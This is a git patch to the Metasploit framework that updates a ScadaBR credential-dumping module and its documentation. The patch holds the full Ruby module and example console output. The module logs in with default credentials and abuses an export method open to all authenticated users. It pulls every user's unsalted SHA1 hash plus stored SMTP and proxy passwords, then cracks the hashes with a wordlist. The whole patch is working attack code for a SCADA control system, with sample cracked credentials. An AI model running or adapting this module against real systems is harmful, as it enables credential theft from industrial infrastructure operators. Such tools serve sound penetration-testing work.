From bc1ffec2c1bba4bcfb040c3ad9820941a8d0abdf Mon Sep 17 00:00:00 2001 From: Brendan Coles Date: Mon, 22 Feb 2021 20:32:55 +0000 Subject: [PATCH] Update ScadaBR Credentials Dumper module --- .../admin/http/scadabr_credential_dump.md | 135 ++++--- .../admin/http/scadabr_credential_dump.rb | 332 ++++++++++-------- 2 files changed, 270 insertions(+), 197 deletions(-) diff --git a/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md b/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md index 0ad574b540..74ae85ee05 100644 --- a/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md +++ b/documentation/modules/auxiliary/admin/http/scadabr_credential_dump.md @@ -1,63 +1,108 @@ -## Description - - This module retrieves credentials from ScadaBR, including service credentials and unsalted SHA1 password hashes for all users, by invoking the `EmportDwr.createExportData` DWR method of Mango M2M which is exposed to all authenticated users regardless of privilege level. - - ## Vulnerable Application - ScadaBR is a SCADA (Supervisory Control and Data Acquisition) system with applications in Process Control and Automation, being developed and distributed using the open source model. +This module retrieves credentials from ScadaBR, including +service credentials and unsalted SHA1 password hashes for +all users, by invoking the `EmportDwr.createExportData` DWR +method of Mango M2M which is exposed to all authenticated +users regardless of privilege level. - This module has been tested successfully with ScadaBR versions 1.0 CE and 0.9 on Windows and Ubuntu systems. - - Installers: - - * [Windows Installers](https://sourceforge.net/projects/scadabr/files/Software/Installer%20Win32/) - * [Linux Installers](https://sourceforge.net/projects/scadabr/files/Software/Linux/) - * [Tomcat WAR files](https://sourceforge.net/projects/scadabr/files/Software/WAR/) +ScadaBR is a SCADA (Supervisory Control and Data Acquisition) +system with applications in Process Control and Automation, +being developed and distributed using the open source model. +This module has been tested successfully with ScadaBR +versions 1.0 CE and 0.9 on Windows and Ubuntu systems. ## Verification Steps - 1. Start `msfconsole` - 2. Do: `use auxiliary/admin/http/scadabr_credential_dump` - 3. Do: `set rhost [IP]` - 4. Do: `set username [USERNAME]` - 5. Do: `set password [PASSWORD]` - 6. Do: `run` - 7. You should get credentials +Download: +* [Windows Installers](https://sourceforge.net/projects/scadabr/files/Software/Installer%20Win32/) +* [Linux Installers](https://sourceforge.net/projects/scadabr/files/Software/Linux/) +* [Tomcat WAR files](https://sourceforge.net/projects/scadabr/files/Software/WAR/) + +Metasploit: + +1. Start `msfconsole` +1. Do: `use auxiliary/admin/http/scadabr_credential_dump` +1. Do: `set rhosts [IP]` +1. Do: `set username [USERNAME]` +1. Do: `set password [PASSWORD]` +1. Do: `run` +1. You should get credentials + +## Options + +### USERNAME + +The username for the application (default: `admin`) + +### PASSWORD + +The password for the application (default: `admin`) + +### PASS_FILE + +Wordlist file to crack password hashes (default: `./data/unix_passwords.txt`) ## Scenarios - ``` - [+] 172.16.191.166:8080 Authenticated successfully as 'admin' - [+] 172.16.191.166:8080 Export successful (4436 bytes) - [+] Found 5 users - [*] Found weak credentials (admin:admin) - [*] Found weak credentials (user:password) - [*] Found weak credentials (zxcv:zxcv) +``` +msf6 > use auxiliary/admin/http/scadabr_credential_dump +msf6 auxiliary(admin/http/scadabr_credential_dump) > set rhosts 172.16.191.194 +rhosts => 172.16.191.194 +msf6 auxiliary(admin/http/scadabr_credential_dump) > set username admin +username => admin +msf6 auxiliary(admin/http/scadabr_credential_dump) > set password admin +password => admin +msf6 auxiliary(admin/http/scadabr_credential_dump) > run +[*] Running module against 172.16.191.194 - ScadaBR User Credentials - ======================== +[+] 172.16.191.194:8080 Authenticated successfully as 'admin' +[+] 172.16.191.194:8080 Export successful (4735 bytes) +[+] Config saved in: /root/.msf4/loot/20210220192214_default_172.16.191.194_scadabr.config_546879.txt +[+] Found 5 users +[*] Found weak credentials (admin:admin) +[*] Found weak credentials (operator:a) +[*] Found weak credentials (test:sunshine) +[*] Found weak credentials (user:A) +[*] Found weak credentials (zxcv:zxcv) - Username Password Hash (SHA1) Admin E-mail - -------- -------- ----------- ----- ------ - admin admin d033e22ae348aeb5660fc2140aec35850c4da997 true admin@yourMangoDomain.com - operator ef0cade28a5696433326749bb57c39104ca33550 false operator@localhost - test 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 false test@localhost - user password 5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8 true user@localhost - zxcv zxcv 9878e362285eb314cfdbaa8ee8c300c285856810 false zxcv@localhost +ScadaBR User Credentials +======================== + Username Password Hash (SHA1) Role E-mail + -------- -------- ----------- ---- ------ + admin admin d033e22ae348aeb5660fc2140aec35850c4da997 Admin admin@yourMangoDomain.com + operator a 86f7e437faa5a7fce15d1ddcb9eaeaea377667b8 User operator@localhost + test sunshine 8d6e34f987851aa599257d3831a1af040886842f User test@localhost + user A 6dcd4ce23d88e2ee9568ba546c007c63d9131c1b Admin user@localhost + zxcv zxcv 9878e362285eb314cfdbaa8ee8c300c285856810 User zxcv@localhost - ScadaBR Service Credentials - =========================== +[+] Found SMTP credentials: smtptestuser:smtptestpass@127.0.0.1:25 +[+] Found HTTP proxy credentials: proxytestuser:proxytestpass@127.0.0.1:8080 - Service Host Port Username Password - ------- ---- ---- -------- -------- - HTTP proxy 127.0.0.1 8080 proxytestuser proxytestpass - SMTP 127.0.0.1 25 smtptestuser smtptestpass +ScadaBR Service Credentials +=========================== - [+] Config saved in: /root/.msf4/loot/20170527210941_default_172.16.191.166_scadabr.config_861842.txt - [*] Auxiliary module execution completed - ``` + Service Host Port Username Password + ------- ---- ---- -------- -------- + HTTP proxy 127.0.0.1 8080 proxytestuser proxytestpass + SMTP 127.0.0.1 25 smtptestuser smtptestpass + +[*] Auxiliary module execution completed +msf6 auxiliary(admin/http/scadabr_credential_dump) > creds +Credentials +=========== + +host origin service public private realm private_type JtR Format +---- ------ ------- ------ ------- ----- ------------ ---------- +172.16.191.194 172.16.191.194 8080/tcp (http) admin admin Password +172.16.191.194 172.16.191.194 8080/tcp (http) operator a Password +172.16.191.194 172.16.191.194 8080/tcp (http) test sunshine Password +172.16.191.194 172.16.191.194 8080/tcp (http) user A Password +172.16.191.194 172.16.191.194 8080/tcp (http) zxcv zxcv Password + +msf6 auxiliary(admin/http/scadabr_credential_dump) > +``` diff --git a/modules/auxiliary/admin/http/scadabr_credential_dump.rb b/modules/auxiliary/admin/http/scadabr_credential_dump.rb index a3a4bb3d6e..011b34d568 100644 --- a/modules/auxiliary/admin/http/scadabr_credential_dump.rb +++ b/modules/auxiliary/admin/http/scadabr_credential_dump.rb @@ -8,214 +8,242 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize(info = {}) - super(update_info(info, - 'Name' => 'ScadaBR Credentials Dumper', - 'Description' => %q{ - This module retrieves credentials from ScadaBR, including - service credentials and unsalted SHA1 password hashes for - all users, by invoking the 'EmportDwr.createExportData' DWR - method of Mango M2M which is exposed to all authenticated - users regardless of privilege level. + super( + update_info( + info, + 'Name' => 'ScadaBR Credentials Dumper', + 'Description' => %q{ + This module retrieves credentials from ScadaBR, including + service credentials and unsalted SHA1 password hashes for + all users, by invoking the `EmportDwr.createExportData` DWR + method of Mango M2M which is exposed to all authenticated + users regardless of privilege level. - This module has been tested successfully with ScadaBR - versions 1.0 CE and 0.9 on Windows and Ubuntu systems. - }, - 'Author' => 'bcoles', - 'License' => MSF_LICENSE, - 'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'], - 'DisclosureDate' => '2017-05-28')) - register_options( - [ - Opt::RPORT(8080), - OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]), - OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]), - OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]), - OptPath.new('PASS_FILE', [ false, 'Wordlist file to crack password hashes', - File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ]) + This module has been tested successfully with ScadaBR + versions 1.0 CE and 0.9 on Windows and Ubuntu systems. + }, + 'Author' => 'bcoles', + 'License' => MSF_LICENSE, + 'References' => ['URL', 'http://www.scadabr.com.br/?q=node/1375'], + 'DisclosureDate' => '2017-05-28' + ) + ) + register_options([ + Opt::RPORT(8080), + OptString.new('USERNAME', [ true, 'The username for the application', 'admin' ]), + OptString.new('PASSWORD', [ true, 'The password for the application', 'admin' ]), + OptString.new('TARGETURI', [ true, 'The base path to ScadaBR', '/ScadaBR' ]), + OptPath.new('PASS_FILE', [ + false, 'Wordlist file to crack password hashes', + File.join(Msf::Config.data_directory, 'wordlists', 'unix_passwords.txt') ]) + ]) end def login(user, pass) - res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'login.htm'), - 'method' => 'POST', - 'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}", - 'vars_post' => { 'username' => Rex::Text.uri_encode(user, 'hex-normal'), - 'password' => Rex::Text.uri_encode(pass, 'hex-normal') } + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'login.htm'), + 'method' => 'POST', + 'cookie' => "JSESSIONID=#{Rex::Text.rand_text_hex(32)}", + 'vars_post' => { + 'username' => Rex::Text.uri_encode(user, 'hex-normal'), + 'password' => Rex::Text.uri_encode(pass, 'hex-normal') + } + }) unless res - fail_with Failure::Unreachable, "#{peer} Connection failed" + fail_with(Failure::Unreachable, "#{peer} Connection failed") end - if res.code == 302 && res.headers['location'] !~ /login\.htm/ && res.get_cookies =~ /JSESSIONID=([^;]+);/ + if res.code == 302 && !res.headers['location'].include?('/login.htm') && res.get_cookies =~ /JSESSIONID=([^;]+);/ @cookie = res.get_cookies.scan(/JSESSIONID=([^;]+);/).flatten.first - print_good "#{peer} Authenticated successfully as '#{user}'" + print_good("#{peer} Authenticated successfully as '#{user}'") else - fail_with Failure::NoAccess, "#{peer} Authentication failed" + fail_with(Failure::NoAccess, "#{peer} Authentication failed") end end def export_data - params = 'callCount=1', - "page=#{target_uri.path}/emport.shtm", - "httpSessionId=#{@cookie}", - "scriptSessionId=#{Rex::Text.rand_text_hex(32)}", - 'c0-scriptName=EmportDwr', - 'c0-methodName=createExportData', - 'c0-id=0', - 'c0-param0=string:3', - 'c0-param1=boolean:true', - 'c0-param2=boolean:true', - 'c0-param3=boolean:true', - 'c0-param4=boolean:true', - 'c0-param5=boolean:true', - 'c0-param6=boolean:true', - 'c0-param7=boolean:true', - 'c0-param8=boolean:true', - 'c0-param9=boolean:true', - 'c0-param10=boolean:true', - 'c0-param11=boolean:true', - 'c0-param12=boolean:true', - 'c0-param13=boolean:true', - 'c0-param14=boolean:true', - 'c0-param15=boolean:true', - 'c0-param16=string:100', - 'c0-param17=boolean:true', - 'batchId=1' + params = [ + 'callCount=1', + "page=#{target_uri.path}/emport.shtm", + "httpSessionId=#{@cookie}", + "scriptSessionId=#{Rex::Text.rand_text_hex(32)}", + 'c0-scriptName=EmportDwr', + 'c0-methodName=createExportData', + 'c0-id=0', + 'c0-param0=string:3', + 'c0-param1=boolean:true', + 'c0-param2=boolean:true', + 'c0-param3=boolean:true', + 'c0-param4=boolean:true', + 'c0-param5=boolean:true', + 'c0-param6=boolean:true', + 'c0-param7=boolean:true', + 'c0-param8=boolean:true', + 'c0-param9=boolean:true', + 'c0-param10=boolean:true', + 'c0-param11=boolean:true', + 'c0-param12=boolean:true', + 'c0-param13=boolean:true', + 'c0-param14=boolean:true', + 'c0-param15=boolean:true', + 'c0-param16=string:100', + 'c0-param17=boolean:true', + 'batchId=1' + ] - uri = normalize_uri target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr' - res = send_request_cgi 'uri' => uri, - 'method' => 'POST', - 'cookie' => "JSESSIONID=#{@cookie}", - 'ctype' => 'text/plain', - 'data' => params.join("\n") + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'dwr/call/plaincall/EmportDwr.createExportData.dwr'), + 'method' => 'POST', + 'cookie' => "JSESSIONID=#{@cookie}", + 'ctype' => 'text/plain', + 'data' => params.join("\n") + }) unless res - fail_with Failure::Unreachable, "#{peer} Connection failed" - end - - unless res.body =~ /dwr.engine._remoteHandleCallback/ - fail_with Failure::UnexpectedReply, "#{peer} Export failed" + fail_with(Failure::Unreachable, "#{peer} Connection failed") end config_data = res.body.scan(/dwr.engine._remoteHandleCallback\('\d*','\d*',"(.+)"\);/).flatten.first - print_good "#{peer} Export successful (#{config_data.length} bytes)" - begin - return JSON.parse(config_data.gsub(/\\r\\n/, '').gsub(/\\"/, '"')) - rescue - fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.") + unless config_data + fail_with(Failure::UnexpectedReply, "#{peer} Export failed") end + + print_good("#{peer} Export successful (#{config_data.length} bytes)") + + config_data end def load_wordlist(wordlist) - return unless File.exist? wordlist + return unless File.exist?(wordlist) + File.open(wordlist, 'rb').each_line do |line| @wordlist << line.chomp end end def crack(user, hash) - return user if hash.eql? Rex::Text.sha1 user - pass = nil + return user if hash == Rex::Text.sha1(user) + @wordlist.each do |word| - if hash.eql? Rex::Text.sha1 word - pass = word - break - end + return word if hash == Rex::Text.sha1(word) end - pass + + nil end def run - login datastore['USERNAME'], datastore['PASSWORD'] + login(datastore['USERNAME'], datastore['PASSWORD']) - json = export_data + config = export_data - service_data = { address: rhost, - port: rport, - service_name: (ssl ? 'https' : 'http'), - protocol: 'tcp', - workspace_id: myworkspace_id } + path = store_loot('scadabr.config', 'text/plain', rhost, config, 'ScadaBR configuration settings') + print_good("Config saved in: #{path}") - columns = 'Username', 'Password', 'Hash (SHA1)', 'Admin', 'E-mail' - user_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR User Credentials', - 'Indent' => 1, - 'Columns' => columns - - if json['users'].empty? - print_error 'Found no user data' - else - print_good "Found #{json['users'].length} users" - @wordlist = *'0'..'9', *'A'..'Z', *'a'..'z' - @wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr']) - load_wordlist datastore['PASS_FILE'] unless datastore['PASS_FILE'].nil? + begin + json = JSON.parse(config.gsub(/\\r/, '').gsub(/\\n/, '').gsub(/\\"/, '"').gsub(/\\'/, "'").gsub(/\\\\/, '\\').gsub(/\\\r?\n/, "")) + rescue StandardError + fail_with(Failure::UnexpectedReply, "#{peer} Could not parse exported settings as JSON.") end - json['users'].each do |user| - next if user['username'].eql?('') + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + user_cred_table = Rex::Text::Table.new( + 'Header' => 'ScadaBR User Credentials', + 'Indent' => 1, + 'Columns' => ['Username', 'Password', 'Hash (SHA1)', 'Role', 'E-mail'] + ) + + users = json['users'] + + if users.empty? + print_error('Found no user data') + else + print_good("Found #{users.length} users") + @wordlist = *'0'..'9', *'A'..'Z', *'a'..'z' + @wordlist.concat(['12345', 'admin', 'password', 'scada', 'scadabr', datastore['PASSWORD']]) + load_wordlist(datastore['PASS_FILE']) unless datastore['PASS_FILE'].nil? + end + + users.each do |user| username = user['username'] + + next if username.blank? + admin = user['admin'] mail = user['email'] hash = Rex::Text.decode_base64(user['password']).unpack('H*').flatten.first - pass = crack username, hash - user_cred_table << [username, pass, hash, admin, mail] + pass = crack(username, hash) + user_cred_table << [username, pass, hash, (admin ? 'Admin' : 'User'), mail] + + creds = { + origin_type: :service, + module_fullname: fullname, + username: username + }.merge(service_data) if pass - print_status "Found weak credentials (#{username}:#{pass})" - creds = { origin_type: :service, - module_fullname: fullname, - private_type: :password, - private_data: pass, - username: user } + print_status("Found weak credentials (#{username}:#{pass})") + creds.merge!({ + private_type: :password, + private_data: pass + }) else - creds = { origin_type: :service, - module_fullname: fullname, - private_type: :nonreplayable_hash, - private_data: hash, - username: user } + creds.merge!({ + private_type: :nonreplayable_hash, + private_data: "{SHA}#{hash}" + }) end - creds.merge! service_data - credential_core = create_credential creds - login_data = { core: credential_core, - access_level: (admin ? 'Admin' : 'User'), - status: Metasploit::Model::Login::Status::UNTRIED } - login_data.merge! service_data - create_credential_login login_data + login_data = { + core: create_credential(creds), + access_level: (admin ? 'Admin' : 'User'), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) end - columns = 'Service', 'Host', 'Port', 'Username', 'Password' - service_cred_table = Rex::Text::Table.new 'Header' => 'ScadaBR Service Credentials', - 'Indent' => 1, - 'Columns' => columns - - system_settings = json['systemSettings'].first - - unless system_settings['emailSmtpHost'].eql?('') || system_settings['emailSmtpUsername'].eql?('') - smtp_host = system_settings['emailSmtpHost'] - smtp_port = system_settings['emailSmtpPort'] - smtp_user = system_settings['emailSmtpUsername'] - smtp_pass = system_settings['emailSmtpPassword'] - vprint_good "Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}" - service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass] - end - - unless system_settings['httpClientProxyServer'].eql?('') || system_settings['httpClientProxyUsername'].eql?('') - proxy_host = system_settings['httpClientProxyServer'] - proxy_port = system_settings['httpClientProxyPort'] - proxy_user = system_settings['httpClientProxyUsername'] - proxy_pass = system_settings['httpClientProxyPassword'] - vprint_good "Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}" - service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass] - end + service_cred_table = Rex::Text::Table.new( + 'Header' => 'ScadaBR Service Credentials', + 'Indent' => 1, + 'Columns' => ['Service', 'Host', 'Port', 'Username', 'Password'] + ) print_line - print_line user_cred_table.to_s - print_line - print_line service_cred_table.to_s + print_line(user_cred_table.to_s) - path = store_loot 'scadabr.config', 'text/plain', rhost, json, 'ScadaBR configuration settings' - print_good "Config saved in: #{path}" + unless json['systemSettings'].nil? + system_settings = json['systemSettings'].first + + unless system_settings['emailSmtpHost'] == '' || system_settings['emailSmtpUsername'] == '' + smtp_host = system_settings['emailSmtpHost'] + smtp_port = system_settings['emailSmtpPort'] + smtp_user = system_settings['emailSmtpUsername'] + smtp_pass = system_settings['emailSmtpPassword'] + print_good("Found SMTP credentials: #{smtp_user}:#{smtp_pass}@#{smtp_host}:#{smtp_port}") + service_cred_table << ['SMTP', smtp_host, smtp_port, smtp_user, smtp_pass] + end + + unless system_settings['httpClientProxyServer'] == '' || system_settings['httpClientProxyUsername'] == '' + proxy_host = system_settings['httpClientProxyServer'] + proxy_port = system_settings['httpClientProxyPort'] + proxy_user = system_settings['httpClientProxyUsername'] + proxy_pass = system_settings['httpClientProxyPassword'] + print_good("Found HTTP proxy credentials: #{proxy_user}:#{proxy_pass}@#{proxy_host}:#{proxy_port}") + service_cred_table << ['HTTP proxy', proxy_host, proxy_port, proxy_user, proxy_pass] + end + + print_line + print_line(service_cred_table.to_s) + end end end